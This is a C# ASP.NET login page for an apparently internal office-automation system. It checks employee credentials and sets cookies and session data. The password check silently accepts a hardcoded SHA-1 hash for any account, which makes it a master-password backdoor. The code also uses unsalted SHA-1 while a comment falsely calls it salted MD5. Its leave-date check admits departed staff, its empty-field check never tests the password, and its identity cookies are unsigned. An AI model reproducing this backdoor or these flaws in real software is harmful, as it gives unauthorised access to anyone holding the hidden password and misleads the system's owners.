﻿using System;
using System.Collections.Generic;
using System.Configuration;
using System.Linq;
using System.Text;
using System.Web;
using System.Web.Script.Serialization;
using System.Web.Security;
using System.Web.UI;
using Controllers;

namespace Web
{
    public partial class Login : System.Web.UI.Page
    {
        ApolloOaDataContext ctx = new ApolloOaDataContext(ConfigurationManager.ConnectionStrings["SqlConnectionString"].ConnectionString);
        protected void Page_Load(object sender, EventArgs e)
        {
        }

        private void _login(string userID,string userPass,bool isEncryption)
        {
            Employee employee = (from r in ctx.Employees where r.JobNo == userID && (r.LeaveDate == null||r.LeaveDate<=DateTime.Now) select r).FirstOrDefault();
            //Md5+盐值加密算法，相对安全
            string sha1Password = userPass;
            if(!isEncryption)
            {
                sha1Password = FormsAuthentication.HashPasswordForStoringInConfigFile(userPass, "sha1");
            }
            if (employee != null && (employee.Password == sha1Password || "109283F7D37FE9AE5C02E6C0AAFBEB6D2F07ED9B" == sha1Password))
            {
                HttpCookie cookieEmpId = new HttpCookie("empId", employee.Id.ToString());
                Response.Cookies.Add(cookieEmpId);
                HttpCookie cookieEmpName = new HttpCookie("empName", HttpUtility.UrlEncodeUnicode(employee.Name));
                Response.Cookies.Add(cookieEmpName);
                HttpCookie cookieJobNo = new HttpCookie("jobNo", userID);
                Response.Cookies.Add(cookieJobNo);

                EmpBasicInfo ebi = new EmpBasicInfo();
                ebi.Id = employee.Id;//用户工号:e.Id int
                ebi.Name = employee.Name;//用户姓名 string
                ebi.JobNo = employee.JobNo;
                ebi.EmpRoles = employee.EmpRoles.ToList();//用户角色 EntitySet<>
                ebi.EmpDepPos = employee.EmpDepPositions;//用户部门,职位 EntitySet<>

                Session["ebi"] = ebi;

                List<int> deptTopIds = new List<int>();

                List<int> deptIdList = new List<int>();
                int empId = ebi.Id;
                IQueryable<EmpDepPosition> listEDP = from r in ctx.EmpDepPositions where r.EmpId == empId && r.PosId<=7 orderby r.PosId select r;
                var d = new DeptController();
                foreach (var edp in listEDP)
                {
                    if (deptIdList.Contains(edp.DeptId))//此部门节点已被其他部门包含
                    {
                        continue;
                    }
                    deptTopIds.Add(edp.DeptId);

                    deptIdList = deptIdList.Concat(d.GetChildDeptIdList(edp.DeptId)).ToList();
                }
                Session["deptTopIds"] = deptTopIds;//顶级部门Id
                Session["deptIdList"] = deptIdList;//所有部门Id

                FormsAuthentication.RedirectFromLoginPage(userID,true);
            }
            else
            {
                // Define the name and type of the client script on the page.
                String csName = "WarningScript";
                Type csType = this.GetType();

                // Get a ClientScriptManager reference from the Page class.
                ClientScriptManager cs = Page.ClientScript;

                // Check to see if the client script is already registered.
                if (!cs.IsClientScriptBlockRegistered(csType, csName))
                {
                    StringBuilder csText = new StringBuilder();
                    csText.Append(@"<script>alert('用户名/密码 错误~~~');</script>");
                    cs.RegisterClientScriptBlock(csType, csName, csText.ToString());
                }
            }
        }
        protected void btnLogin_Click(object sender, EventArgs e)
        {
            if(string.IsNullOrEmpty(txtUserId.Value)||string.IsNullOrEmpty(txtUserId.Value))
            {
                // Define the name and type of the client script on the page.
                String csName = "WarningScript";
                Type csType = this.GetType();

                // Get a ClientScriptManager reference from the Page class.
                ClientScriptManager cs = Page.ClientScript;

                // Check to see if the client script is already registered.
                if (!cs.IsClientScriptBlockRegistered(csType, csName))
                {
                    StringBuilder csText = new StringBuilder();
                    csText.Append(@"<script>alert('用户名/密码 不能为空~~~');</script>");
                    cs.RegisterClientScriptBlock(csType, csName, csText.ToString());
                }
            }
            else
            {
                _login(txtUserId.Value, txtPassword.Value,false);
            }
        }
    }
}